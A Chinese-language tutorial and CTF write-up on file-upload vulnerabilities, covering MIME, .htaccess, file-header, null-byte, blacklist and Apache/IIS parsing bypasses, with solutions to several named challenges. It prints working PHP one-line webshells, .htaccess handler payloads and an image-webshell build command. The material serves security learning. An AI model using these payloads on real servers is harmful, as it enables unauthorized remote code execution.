文件上传
文件上传漏洞
1.无验证
也就是前端和后端都不过滤上传的文件,故只需传入含一句话木马
<?php @eval($_POST['pass']);?>
的php文件,再用菜刀或者蚁剑连接即可。
2.js前端验证
顾名思义,就是只在浏览器前端进行简单的文件名过滤,只允许上传某种文件名。简单粗暴的做法是直接禁用浏览器里的js代码。
绕过方法
:把含有一句话木马的php文件改成允许上传的文件名,上传并抓包,修改文件后缀为php再放包即可。
3.MIME绕过
上传php木马,抓包修改Content-Type为合法类型即可
例如:image/gif
4.htaccess
htaccess文件
:是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。在文件上传中构造htaccess文件能使png以php格式解析。
和httpdp.com区别
:只作用于当前目录,只在访问当前目录才加载
漏洞利用
//方法一
SetHandler application/x-httpd-php //所有的文件当做php文件来解析
//方法二
AddType application/x-httpd-php .png //.png文件当作php文件解析
在htaccess文件中写入代码并上传,再上传写有一句话木马的png文件,蚁剑连接即可。
5.文件头检查
前面都是把含有一句话木马的php文件改变后缀变成png或者gif等可上传文件,而文件头检查则检查该文件的特征值,判断时候是真的png或者gif,故需要进一步伪装文件头。
绕过方法
:制作图马,简单图马是直接把一句话木马放在图片末尾以绕过文件头检查
//命令行合成图马
copy 1.png/b+1.txt/a 2.png
//b,a表示合成时各文件的编码方式,b为二进制,a为ascll
二次渲染
:同样也是检测文件是否是真的png或gif,上传之后的图片会被二次渲染,使得图马中的一句话木马变成乱码无法执行
绕过方法
:下载被二次渲染后的图马与原来的图马比较,找到相同的地方,插入一句话木马。
(png、jpg、jpeg都不好改,gif好改)
上传图马,配合解析漏洞、文件包含漏洞等使图马以php格式执行即可。
6.解析漏洞
00截断攻击
漏洞原理
:系统端解析文件格式和服务端解析文件格式的顺序不同,系统端由后往前解析,服务端反之。抓包将 xxx.php.gif 换成 xxx.php_gif(下划线为0x00)。在上传文件时系统文件遇到0x00。会认为文件已经结束。从而将xxx.php.gif的内容写入到xxx.php。(需要允许修改保存路径)
绕过方法
:
GET方式上传:抓包,在保存路径后面添加1.php%00(%00会自动解码),文件名不变仍为1.gif
POST方式上传:抓包,在保存路径后面添加1.php+在HEX界面找到这个加号修改为00,文件名仍不变为1.gif
黑名单绕过
绕过方法
:
1、文件名大小写绕过(AsP, pHp等等)
2、黑白名单列表绕过(php、php2、php3、php5、phtml、asp、aspx、ascx、ashx、cer、asa、jsp、jspx)cdx,
3、特殊文件名绕过:修改数据包里的文件名改为 test.php. 或者 test.asp_ (下划线是空格)由于这种命名格式在windows系统里是不允许的。所以在绕过上传之后windows系统会自动去掉 点和空格。Unix/Linux系统没有这个特性。
4、0x00截断绕过
5、.htaccess文件攻击(结合黑名单攻击)
Apache解析漏洞
漏洞原理
:一个文件名为test.php.aaa.bbb.ccc的文件,Apache会从ccc的位置往php的位置开始尝试解析 ,如果ccc不属于Apache能解析的后缀名,那么Apache就会尝试去解析bbb,这样一直往前尝试,直到遇到一个能解析的拓展名为止
绕过方法
:添加无用扩展名如xxx.php -->xxx.php.aaa
IIS解析漏洞
IIS6.0解析漏洞
:
1.目录解析:以.asp 、.asa、.cer、.cdx命名的文件夹里的文件都将会被当成ASP文件执行。
2.文件解析:只要文件名中含有.asp;、.asa;、.cer;、.cdx;会优先按 asp来解析,.asp;.jpg 这种畸形文件名在“;”后面的直接被忽略,也就是说当成 *.asp文件执行。
IIS7.0/7.5解析漏洞
:
对任意文件名只要在URL后面追加上字符串"/任意文件名.php",就会按照 php 的方式去解析
如”http://url/upload/1.jpg/1adf.php”
练习题目
[极客大挑战 2019]Upload1
MIME绕过
和黑名单绕过
,只允许上传图片,对php有简单过滤。
上传一句话木马
<?php @eval($_POST['pass']);?>
抓包修改
对内容有过滤,换一个木马
GIF89a? <script language="php">eval($_REQUEST[pass])</script>
成功
访问该文件upload/2.phtml
说明存在该文件,蚁剑连接
找到flag
[ACTF2020 新生赛]Upload1
前端过滤
把文件改成gif,抓包再改成php
修改
emmmphp也要绕一下改成phtml
有了,访问该页面
蚁剑一下,用命令行找到flag
[MRCTF2020]你传你🐎呢1
htaccess绕过
//把hack.png解析成php
<FilesMatch "hack.png">
SetHandler application/x-httpd-php
</FilesMatch>
上传htaccess文件,抓包修改类型为png
再上传一个含有木马的假png,上传成功
蚁剑一下,找到flag
[第二章 web进阶]文件上传1
题目直接给出了源码,得到过滤信息:
1.仅允许上传zip、jpg、gif、png文件
2.如果上传压缩包,压缩包内不允许含有php文件
上传一个含有php的zip
要绕过php,改成phtml,上传成功,问题是不知道路径
上传成功后会在upload下随机生成一个md5目录存放文件,也就是说很难拿到文件的路径,设法绕过这个目录,让文件存储在根目录下
010 editor修改文件名,使之存在根目录下(修改的时候现在原来的文件名预留足够的位置)
emmmm,御剑连上了但打不开,文件名换成php.xx(Apache解析漏洞
)
上传后访问,得到flag